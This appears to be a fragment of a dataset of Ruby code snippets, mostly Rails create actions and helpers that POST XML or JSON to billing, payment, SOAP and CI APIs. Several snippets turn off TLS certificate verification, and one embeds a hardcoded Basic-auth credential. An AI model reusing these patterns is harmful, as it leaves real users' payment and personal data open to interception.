"def test_post_invoices_xml \n Redmine::ApiTest::Base.should_allow_api_authentication(:post,\n '/invoices.xml',\n {:invoice => {:project_id => 1, :number => 'INV/TEST-1'}},\n {:success_code => :created})\n \n assert_difference('Invoice.count') do\n post '/invoices.xml', {:invoice => {:project_id => 1, :number => 'INV/TEST-1', :contact_id => 1, :status_id => 1, :invoice_date => Date.today}}, credentials('admin')\n end\n\n invoice = Invoice.first(:order => 'id DESC')\n assert_equal 'INV/TEST-1', invoice.number\n \n assert_response :created\n assert_equal 'application/xml', @response.content_type\n assert_tag 'invoice', :child => {:tag => 'id', :content => invoice.id.to_s}\n end",
"def create_billrun(account_key)\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::POST_INVOICE_COLLECT\n\n args.req_body = ZAPIArgs.new\n args.req_body.accountKey = account_key\n args.req_body.invoiceTargetDate = '2013-3-31'\n\n puts \"========== CREATE ACCOUNT BILL RUN ===========\"\n\n begin\n @z_client.post(args) do |resp|\n ap resp\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n end",
"def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end",
"def postSignal( entity_id, country, gen_id, signal_type, data_type, inactive_reason, inactive_description, feedback)\n params = Hash.new\n params['entity_id'] = entity_id\n params['country'] = country\n params['gen_id'] = gen_id\n params['signal_type'] = signal_type\n params['data_type'] = data_type\n params['inactive_reason'] = inactive_reason\n params['inactive_description'] = inactive_description\n params['feedback'] = feedback\n return doCurl(\"post\",\"/signal\",params)\n end",
"def create_bepaid_bill\n # Don't touch real web services during of test database initialization\n return if Rails.env.test?\n\n user = self\n\n bp = BePaid::BePaid.new Setting['bePaid_baseURL'], Setting['bePaid_ID'], Setting['bePaid_secret']\n\n amount = user.monthly_payment_amount\n\n #amount is (amoint in BYN)*100\n bill = {\n request: {\n amount: (amount * 100).to_i,\n currency: 'BYN',\n description: 'Членский взнос',\n email: 'jekhor@gmail.com',\n notification_url: 'https://hackerspace.by/admin/erip_transactions/bepaid_notify',\n ip: '127.0.0.1',\n order_id: '4444',\n customer: {\n first_name: 'Cool',\n last_name: 'Hacker',\n },\n payment_method: {\n type: 'erip',\n account_number: 444,\n permanent: 'true',\n editable_amount: 'true',\n service_no: Setting['bePaid_serviceNo'],\n }\n }\n }\n req = bill[:request]\n req[:email] = user.email\n req[:order_id] = user.id\n req[:customer][:first_name] = user.first_name\n req[:customer][:last_name] = user.last_name\n req[:payment_method][:account_number] = user.id\n\n begin\n res = bp.post_bill bill\n logger.debug JSON.pretty_generate res\n rescue => e\n logger.error e.message\n logger.error e.http_body if e.respond_to? :http_body\n user.errors.add :base, \"Не удалось создать счёт в bePaid, проверьте лог\"\n end\n end",
"def do_action(action, args = {})\n message = <<EOS\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:web=\"http://localhost/WebService/\">\n <soapenv:Header/>\n <soapenv:Body>\n <web:GetReport>\n <!--Optional:-->\n <web:Input><![CDATA[<InputData>\n <Session>\n <GroupName>#{group_name}</GroupName>\n <Subscriber_ID>#{subscriber_id}</Subscriber_ID>\n <Group_ID>#{group_id}</Group_ID>\n <User_ID>#{user_id}</User_ID>\n <RequestType>#{request_type}</RequestType>\n <Environment>#{environment}</Environment>\n </Session>\n <Consumer num=\"#{args[:consumer_num]}\">\n <Application>\n <First_Name_1>#{args[:firstname]}</First_Name_1>\n <First_Name_2></First_Name_2>\n <Surname>#{args[:surname]}</Surname>\n <National_ID>#{args[:nationalid]}</National_ID>\n <RSAid>#{args[:rsaid]}</RSAid> <Gender />\n <Birthday>#{args[:birthday]}19221122</Birthday>\n <Residence_Building />\n <Residence_Street />\n <Residence_Suburb />\n <Residence_City />\n <Residence_Postal_Code />\n </Application>\n </Consumer>\n <Enquirer>\n <SubscriberName>SUMMIT FINANCE</SubscriberName>\n <SubscriberTel>(011)000-0000</SubscriberTel>\n </Enquirer></InputData>]]>\n </web:Input>\n </web:GetReport>\n </soapenv:Body>\n</soapenv:Envelope>\nEOS\n\n response = @wsdl.request action do\n soap.xml = message\n end\n result = Nori.parse(response.to_hash[:get_report_response][:output])\n if result == \"Invalid Input Data\"\n raise Experin::InvalidXmlError, \"Input xml string is not valid\"\n else\n p result\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/creditaccount/v1\")\n end",
"def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end",
"def api_gateway_post(path, params)\n api_gateway_body_fwd = params.to_json\n rack_input = StringIO.new(api_gateway_body_fwd)\n\n post path, real_params = {}, 'rack.input' => rack_input\nend",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end",
"def create\n @micromessage = Micromessage.new(params[:micromessage])\n\n respond_to do |format|\n if @micromessage.save\n format.html { redirect_to(@micromessage, :notice => 'Micromessage was successfully created.') }\n format.xml { render :xml => @micromessage, :status => :created, :location => @micromessage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @micromessage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def send_post(address, params = {})\n\t\t\turi = URI.parse create_url(address)\n\n\t\t\treq = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' => 'application/json'})\n\t\t\treq.body = params.to_json\n\n\t\t\tcurrTime = ::Time.now.to_i\n\t\t\treq['Date'] = currTime.to_s\n\t\t\treq['Sig'] = Digest::MD5.hexdigest(\"#{params.to_json}--#{currTime}--#{GameServer.account_server_private_key}\")\n\n\t\t\tres = Net::HTTP.start(uri.hostname, uri.port) { |http| http.request(req) }\n\n\t\t\tdata = JSON.parse(res.body).deep_symbolize_keys\n\t\t\tp \"--- account server data ---\", data\n\t\t\tdata\n\t\tend",
"def transactions_nequi_wompi(pesos, reference, customer_email, phone_number)\n data = {\n # Metodo: encargado de generar el token de aceptacion de abeas data necesario para trabajar con Wompi\n acceptance_token: accept_token_wompi,\n amount_in_cents: pesos.to_i*100,# se agregan 2 ceros para los los centavos\n currency: \"COP\",\n customer_email: customer_email,\n reference: reference,\n payment_method: {\n type: \"NEQUI\",\n phone_number: phone_number\n }\n }\n\n require 'uri'\n\t require 'net/http'\n \n uri = URI.parse(BASE_URL_WOMPI+'transactions')\n https = Net::HTTP.new(uri.host,uri.port)\n https.use_ssl = true\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(uri, initheader = {'Content-Type' =>'application/json'})\n\n request['Accept'] = 'application/json'\n request['Accept-language'] = 'en'\n request['authorization'] = PRIVATE_KEY_WOMPI\n\n request.body = data.to_json\n request = https.request(request)\n\n response = JSON.parse(request.body)\n add_amount = response[\"data\"][\"amount_in_cents\"].to_i/100\n self.update!(id_wompi: response[\"data\"][\"id\"], amount: add_amount, status: response[\"data\"][\"status\"])\n # update amount driver\n current_amount = self.trip.driver.amount.to_i\n self.trip.driver.update(amount: (add_amount+current_amount))\n\n response\n end",
"def create\n @bairro = Bairro.new(params[:bairro])\n\n respond_to do |format|\n if @bairro.save\n flash[:notice] = \"Bairro criado com sucesso.\"\n format.html { redirect_to(admin_bairros_path) }\n format.xml { render :xml => @bairro, :status => :created, :location => @bairro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bairro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end",
"def create\n @ribbit = Ribbit.new(ribbit_params)\n @ribbit.frog_id = current_frog.id\n\n respond_to do |format|\n if @ribbit.save\n format.html { redirect_to @ribbit, notice: 'Ribbit was successfully created.' }\n format.json { render :show, status: :created, location: @ribbit }\n else\n format.html { render :new }\n format.json { render json: @ribbit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.new(benutzer_params(bNode))\n if @benutzer.save\n if bNode.xpath('objekt_zuordnungs').length > 0\n objekt_ids = bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i}\n @benutzer.setze_objekt_zuordnungen(objekt_ids)\n end\n success(@benutzer.id)\n else\n error(@benutzer.errors)\n end\n end",
"def burnin_params\n params.require(:burnin).permit(:uuid, :qrcode, :aufnr, :burnline, :matnr, :kunnr, :budat, :psmng, :btime, :bvolt, :bload, :btemp, :strtime, :endtime, :struser, :enduser, :difftime, :result, :packline, :packtime, :packuser)\n end",
"def create\n @mobs_nano = MobsNano.new(params[:mobs_nano])\n\n respond_to do |format|\n if @mobs_nano.save\n flash[:notice] = 'MobsNano was successfully created.'\n format.html { redirect_to mobs_nano_url(@mobs_nano) }\n format.xml { head :created, :location => mobs_nano_url(@mobs_nano) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mobs_nano.errors.to_xml }\n end\n end\n end",
"def test_client_post\n client = CoAP::Client.new\n answer = client.post('coap.me', 5683, '/test', 'TD_COAP_CORE_04')\n assert_equal(2, answer.mcode[0])\n assert_equal(1, answer.mcode[1])\n assert_equal('POST OK', answer.payload)\n end",
"def scrobble( params )\n LastFM.requires_authentication\n # Tracks are passed to the service using array notation for each of the above params\n array_params = {}\n params.each do |hkey, hval|\n hval = hval.to_i if hval.is_a?(Time)\n Array(hval).each_with_index do |aval, index|\n array_params[\"#{hkey}[#{index}]\"] = aval\n end\n end\n LastFM.post( \"track.scrobble\", array_params )\n end",
"def api_gateway_post(path, params)\n api_gateway_body_fwd = params.to_json\n rack_input = StringIO.new(api_gateway_body_fwd)\n\n post path, real_params = {}, {\"rack.input\" => rack_input}\nend",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def uploadFile(fileName)\n\n puts \"Uploading '#{fileName}' to TestFlight ... \"\n\n currentTime = Time.new\n \n payload = {\n :api_token => API_TOKEN,\n :team_token => TEAM_TOKEN,\n :file => File.new(fileName.to_s, 'rb'),\n :notes => NOTES + \" (\"+currentTime.inspect+\")\",\n :distribution_lists => DIST_LIST,\n :notify => NOTIFY\n }\n \n begin\n response = RestClient.post(END_POINT, payload, :accept => :json)\n rescue => e\n response = e.response\n end\n \n if (response.code == 201) || (response.code == 200)\n puts \"Upload complete.\"\n else\n puts \"Upload failed. (#{response})\"\n end\n \nend",
"def create\n @genbank_file = GenbankFile.new(params[:genbank_file])\n\n respond_to do |format|\n if @genbank_file.save\n format.xml { render :xml => @genbank_file, :status => :created, :location => @genbank_file }\n format.json { render :json => @genbank_file, :status => :created, :location => @genbank_file }\n else\n format.xml { render :xml => @genbank_file.errors, :status => :unprocessable_entity }\n format.json { render :json => @genbank_file.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def sendclaim\n require 'net/http'\n require 'uri'\n\n @visit = Visit.find(params[:id])\n @patient = Patient.find(@visit.patient_id)\n @patient.fname = @patient.full_sex unless @patient.fname.present?\n @doctor = Doctor.find(@visit.doc_id)\n @xml = render_to_string \"show.xml\"\n\n uri = URI.parse(CABMDURL)\n http= Net::HTTP.new(uri.host,uri.port)\n http.use_ssl = true\n \n req = Net::HTTP::Post.new(uri.request_uri, {'Content-Type' => 'application/xml'})\n req.body = @xml\n\n res = http.request(req)\n @xmlhash = JSON.parse(res.body)\n# {\"success\"=>true, \"errors\"=>[], \"messages\"=>[], \"reference_id\"=>\"332933\", \"accounting_number\"=>\"0004MZ4Z\"}\n \n if @xmlhash['success'] \n\t acc_num = @xmlhash['accounting_number']\n flash[:info] = \"Claim #{acc_num} sent to cab.md \" \n @visit.update_attribute(:status, BILLED)\n @visit.update_attribute(:billing_ref, acc_num)\n else\n\t errors = @xmlhash['errors']\n\t messages = @xmlhash['messages']\n\t flash[:danger] = \"Error sending claim : #{@xmlhash}\"\n @visit.update_attribute(:status, READY)\n\t @visit.update_attribute(:billing_ref, errors.join(',')) if errors.present?\n end\n\n respond_to(:html)\n redirect_to patient_visit_path\n end",
"def create\n @bio_signal = BioSignal.new(params[:bio_signal])\n\n respond_to do |format|\n if @bio_signal.save\n format.html { redirect_to @bio_signal, notice: 'Bio signal was successfully created.' }\n format.json { render json: @bio_signal, status: :created, location: @bio_signal }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bio_signal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(params, membership)\n # Send payload to blip\n data = {\n initials: (params[4].nil? ? params[5][0] : params[4].tr('^a-zA-Z', '')),\n firstname: (params[5].nil? ? params[4][0] : params[5]),\n lastname: [params[6], params[7]].reject{|e| e.nil? or e.empty?}.join(' '),\n email: (params[3].nil? ? 'unknown@nieuwedelft.nl.invalid' : params[3]),\n gender: params[9] == 'Vrouw' ? 'F' : 'M',\n phone: params[14],\n mobile: params[2],\n phone_parents: params[24],\n address: [params[10], params[11], params[12]].join(' '),\n membership: membership,\n }\n begin\n unless params[15].nil?\n data[:dateofbirth] = Date.strptime(params[15], '%d-%m-%Y').strftime('%Y-%m-%d')\n end\n rescue\n $problems.write \"#{$index}, #{data[:firstname]} #{data[:lastname]}, Birthdate ignored\\n\"\n end\n blip = post('https://people.i.bolkhuis.nl/persons', data)\n\n # Grab uid\n unless blip == nil\n uid = blip['uid']\n\n # Send payload to operculum\n put(\"https://operculum.i.bolkhuis.nl/person/#{uid}\", {\n nickname: params[8],\n study: params[16],\n alive: params[17].nil?,\n inauguration: params[25],\n resignation_letter: params[26],\n resignation: params[27],\n })\n end\nend",
"def post_headers\n {\"Content-Type\" => 'text/xml; charset=utf-8'}\n end",
"def postEntityFax( entity_id, number, description)\n params = Hash.new\n params['entity_id'] = entity_id\n params['number'] = number\n params['description'] = description\n return doCurl(\"post\",\"/entity/fax\",params)\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end",
"def process_request\n @build_xml = build_xml\n pickup_serv_log('Final XML Request : ' + @build_xml.to_s)\n api_url_srv = api_url + \"/pickup\"\n pickup_serv_log('URL for API : ' + api_url_srv.to_s)\n api_response = self.class.post(api_url_srv, :body => build_xml)\n pickup_serv_log('API Response : ' + api_response.to_s)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n pickup_serv_log('Successfully Done : ' + response.to_s)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def test_send_unix_date_time()\n # Parameters for the API call\n datetime = DateTimeHelper.from_unix(1484719381)\n\n # Perform the API call through the SDK function\n result = @controller.send_unix_date_time(datetime)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def test_send_unix_date_time()\n # Parameters for the API call\n datetime = DateTimeHelper.from_unix(1484719381)\n\n # Perform the API call through the SDK function\n result = @controller.send_unix_date_time(datetime)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def test_send_optional_unix_time_stamp_in_body()\n # Parameters for the API call\n date_time = DateTimeHelper.from_unix(1484719381)\n\n # Perform the API call through the SDK function\n result = @controller.send_optional_unix_date_time_in_body(date_time: date_time)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def test_send_optional_unix_time_stamp_in_body()\n # Parameters for the API call\n date_time = DateTimeHelper.from_unix(1484719381)\n\n # Perform the API call through the SDK function\n result = @controller.send_optional_unix_date_time_in_body(date_time: date_time)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def post(body)\n request = Net::HTTP::Post.new(bind_uri)\n request.body = body\n request.content_length = request.body.size\n request[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\n Jabber.debug(\"Sending POST request - #{body.strip}\")\n\n response = Net::HTTP.new(domain, port).start { |http| http.request(request) }\n\n Jabber.debug(\"Receiving POST response - #{response.code}: #{response.body.inspect}\")\n\n unless response.is_a?(Net::HTTPSuccess)\n raise Net::HTTPBadResponse, \"Net::HTTPSuccess expected, but #{response.class} was received\"\n end\n\n response\n end",
"def create\n @boc = Boc.new(boc_params)\n\n respond_to do |format|\n if @boc.save\n format.html { redirect_to new_boc_path, notice: 'Boc was successfully created.' }\n format.json { render :show, status: :created, location: @boc }\n else\n format.html { render :new }\n format.json { render json: @boc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend",
"def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end",
"def create\n @turbo_memoid = TurboMemoid.new(params[:turbo_memoid])\n\n respond_to do |format|\n if @turbo_memoid.save\n format.html { redirect_to @turbo_memoid, notice: 'Turbo memoid was successfully created.' }\n format.json { render json: @turbo_memoid, status: :created, location: @turbo_memoid }\n else\n format.html { render action: \"new\" }\n format.json { render json: @turbo_memoid.errors, status: :unprocessable_entity }\n end\n end\n end",
"def canonicalized_data\n\n parametros = ActiveSupport::OrderedHash.new\n parametros[\"xmlns\"] = \"http://cancelacfd.sat.gob.mx\"\n parametros[\"xmlns:xsd\"] = \"http://www.w3.org/2001/XMLSchema\"\n parametros[\"xmlns:xsi\"] = \"http://www.w3.org/2001/XMLSchema-instance\"\n parametros[\"Fecha\"] = @fecha\n parametros[\"RfcEmisor\"] = @rfcemisor\n \n @builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Cancelacion(parametros) do\n xml.Folios {\n xml.UUID(@uuid)\n } \n end\n end\n \n return @builder.to_xml(:save_with => Nokogiri::XML::Node::SaveOptions::AS_XML | Nokogiri::XML::Node::SaveOptions::NO_DECLARATION)\n \n end",
"def create\n @rb = Rb.new(rb_params)\n respond_to do |format|\n if @rb.save\n format.html { redirect_to rbs_path, notice: 'Erfolgreich erstellt.' }\n format.json { render :show, status: :created, location: @rb }\n else\n format.html { render :new }\n format.json { render json: @rb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def billing\n user_agent = request.env['HTTP_USER_AGENT']\n billing_request_body = Billing.request_body(@session)\n parameter = Parameter.first\n\n request = Typhoeus::Request.new(parameter.billing_url, followlocation: true, body: billing_request_body, headers: {Accept: \"text/xml\", :'Content-length' => billing_request_body.bytesize, Authorization: \"Basic base64_encode('NGSER-MR2014:NGSER-MR2014')\", :'User-Agent' => user_agent})\n\n#=begin\n request.on_complete do |response|\n if response.success?\n result = response.body\n elsif response.timed_out?\n result = Error.timeout(@screen_id)\n elsif response.code == 0\n result = Error.no_http_response(@screen_id)\n else\n result = Error.non_successful_http_response(@screen_id)\n end\n end\n\n request.run\n#=end\n #response_body\n #@xml = Nokogiri.XML(Billing.response_body).xpath('//methodResponse//params//param//value//struct//member')\n @xml = Nokogiri.XML(result).xpath('//methodResponse//params//param//value//struct//member') rescue nil\n #render text: Billing.response_body.bytesize\n end",
"def sru_response\n # Create bib record.\n title_str = OLE_QA::Framework::String_Factory.alphanumeric(12)\n author_str = OLE_QA::Framework::String_Factory.alphanumeric(14)\n today = Time.now.strftime('%Y%m%d-%H%M')\n bib_ary = [{\n :tag => '245',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + title_str\n },\n {\n :tag => '100',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + author_str\n }]\n bib_editor = OLE_QA::Framework::OLELS::Bib_Editor.new(@ole)\n bib_editor.open\n create_bib(bib_editor,bib_ary)\n query = \"title any #{title_str}\"\n filename = \"sru_perf-#{today}.xml\"\n get_sru_file(query,filename,@ole)\n records = get_marc_xml(filename)\n verify(5) {File.zero?(\"data/downloads/#{filename}\") == false}\n verify(5) {records.count == 1}\n end",
"def xml_final_output\n\n parametros = ActiveSupport::OrderedHash.new\n parametros[\"xmlns\"] = \"http://cancelacfd.sat.gob.mx\"\n parametros[\"xmlns:xsd\"] = \"http://www.w3.org/2001/XMLSchema\"\n parametros[\"xmlns:xsi\"] = \"http://www.w3.org/2001/XMLSchema-instance\"\n parametros[\"Fecha\"] = @fecha\n parametros[\"RfcEmisor\"] = @rfcemisor\n \n @certificate = CFDI::Certificado.new @certificate\n \n @builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Cancelacion(parametros) do\n xml.Folios {\n xml.UUID(@uuid)\n }\n xml.Signature({'xmlns' => \"http://www.w3.org/2000/09/xmldsig#\" }) do\n xml.SignedInfo do \n xml.CanonicalizationMethod({'Algorithm' =>\"http://www.w3.org/TR/2001/REC-xml-c14n-20010315\"})\n xml.SignatureMethod({'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#rsa-sha1\"})\n \n xml.Reference({'URI' => \"\"}) do\n \n xml.Transforms do\n xml.Transform({ 'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#enveloped-signature\" })\n end\n \n xml.DigestMethod({ 'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#sha1\" })\n xml.DigestValue(self.digested_canonicalized_data)\n \n end\n \n end\n xml.SignatureValue(self.computed_signed_info)\n xml.KeyInfo do \n xml.X509Data do\n xml.X509IssuerSerial do\n xml.X509IssuerName(@certificate.issuername)\n xml.X509SerialNumber(@certificate.serial)\n end\n xml.X509Certificate(@certificate.data)\n end\n end\n end\n end\n end\n \n CGI::unescapeHTML(@builder.to_xml(:save_with => Nokogiri::XML::Node::SaveOptions::AS_XML).strip.gsub(/\\n/, ''))\n \n end",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def create_bill(params)\n build_header_auth('/bills', API_VERSION_1, 'POST')\n build_request()\n p_hash = {}\n p_hash[\"bill\"] = {\"identifier\" => params['id'],\n \"amount_cents\" => params['amount_cents'],\n \"bill_template_id\" => params['bill_template_id'],\n \"memo\" => params['memo'],\n \"content\" => params['content'],\n \"recurring\" => params['recurring'],\n \"customer_id\" => params['customer_id'],\n \"date\" => params['date']}\n req_body = p_hash.to_json.to_s\n request = Net::HTTP::Post.new(@uri.request_uri)\n @header.each do |name, value|\n request[name] = value\n end\n # request.each do |name, value|\n # puts name+\" : \"+value\n # end\n request.set_body_internal(req_body)\n response = @http.request(request)\n # response.body = JSON.parse(response.body)\n return response\n end",
"def build()\n response = send_post_request(@xml_api_build_path, {:delay => '0sec'})\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def update\n @bairro_micro = BairroMicro.find(params[:id])\n\n respond_to do |format|\n if @bairro_micro.update_attributes(params[:bairro_micro])\n flash[:notice] = 'BairroMicro was successfully updated.'\n format.html { redirect_to(@bairro_micro) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bairro_micro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def perform_access(user, nonce)\n formatted_data = user\n outgoing_request_body = {\n \"profiles\": [{\n \"profileId\": user[:id],\n \"profileData\": formatted_data,\n }],\n }\n\n # Signal that it has been completed.\n # TODO: make x-sombra-authorization optional in this example\n resp = Faraday.post($DATA_SILO_PATH) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.headers['accept'] = 'application/json'\n req.headers['Authorization'] = 'Bearer ' + $TRANSCEND_API_KEY\n req.headers['x-sombra-authorization'] = $SOMBRA_API_KEY ? 'Bearer ' + $SOMBRA_API_KEY : nil\n req.headers['x-transcend-nonce'] = nonce\n req.body = outgoing_request_body.to_json\n end\n\nend",
"def send_raw(xml)\n open\n @soap_client.ProcessRequest(@ticket, xml)\n close \n end",
"def send_post_request(body)\n response = HTTParty.post(\n url.to_str,\n :body => body.to_json,\n :headers => { 'Content-Type' => 'application/json' },\n :basic_auth => auth,\n verify: false\n )\n\n logger.debug(\n \"POST Request to Turbulence: \\n\" +\n \"\\tURL: #{url.to_str}\\n\" +\n \"\\tAUTH: #{auth}\\n\" +\n \"\\tBODY: #{body.to_json}\"\n )\n\n unless response.success?\n raise \"Request to turbulence(#{url.to_str}) failed, \\n\" +\n \"\\tauth: #{auth.inspect}, \\n\" +\n \"\\tBody: #{body}, \\n\" +\n \"\\tResponse: #{response.body}\"\n end\n response_body = JSON.parse(response.body)\n return response_body[\"ID\"]\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save\n @node.broadcast_add_me\n Cue.send_all_pending\n format.html { redirect_to(@node, :notice => 'Node was successfully created.') }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def bookdevice(token, duration = 5 , id)\n\nuri = URI.parse(\"https://device.pcloudy.com/api/book_device\")\n@toSend = {\n \"token\" => token ,\"duration\"=>duration, \"id\"=>id\n}.to_json\n\nhttps = Net::HTTP.new(uri.host,uri.port)\nhttps.use_ssl = true\n\nreq = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' =>'application/json'})\n\nreq.body = \"#{@toSend}\"\nres = https.request(req)\nputs \"Response #{res.code} #{res.message}: #{res.body}\"\nbookingdetails = JSON.parse(res.body)\n\nrid = bookingdetails[\"result\"][\"rid\"]\nreturn rid\nend",
"def send_request\n\n uri = URI(\"https://delivery-center-recruitment-ap.herokuapp.com/\")\n time = Time.now\n time = format_date(time)\n header = {\"Content-Type\": \"X-Sent #{time}\"}\n \n # Cria os parâmetros http\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n request = Net::HTTP::Post.new(\"https://delivery-center-recruitment-ap.herokuapp.com/\", header)\n request.body = @request_body.to_json\n response = http.request(request)\n\n #salva resposta para mostrar na tela\n self.resposta = response.body\n self.save\n end",
"def write_berp(obj)\n socket.write(Client.create_berp(obj))\n end",
"def send_request_to_bibs_microservice\n 20.times do |x|\n stub_request(:get, \"#{ENV.fetch('BIBS_MICROSERVICE_URL_V01', nil)}?standardNumber=#{ 9781896580601 + x }\").\n with(\n headers: {\n 'Authorization' => 'Bearer testoken',\n 'Content-Type' => 'application/json'\n }).to_return(status: 200, body: MODIFIED_BOOK_JSON_FOR_ISBN_9782917623268, headers: {})\n end\n stub_request(:get, \"#{ENV.fetch('BIBS_MICROSERVICE_URL_V01', nil)}?standardNumber=123456789\").\n with(\n headers: {\n 'Authorization' => 'Bearer testoken',\n 'Content-Type' => 'application/json'\n }).to_return(status: 200, body: JSON_FOR_BOOK_WITH_ISBN_AND_TITLE_TOO_LONG, headers: {})\n end",
"def create_jenkins_job(name, xml_file)\n create_url = \"http://#{Pkg::Config.jenkins_build_host}/createItem?name=#{name}\"\n form_args = [\"-H\", '\"Content-Type: application/xml\"', \"--data-binary\", \"@#{xml_file}\"]\n curl_form_data(create_url, form_args)\n \"http://#{Pkg::Config.jenkins_build_host}/job/#{name}\"\nend",
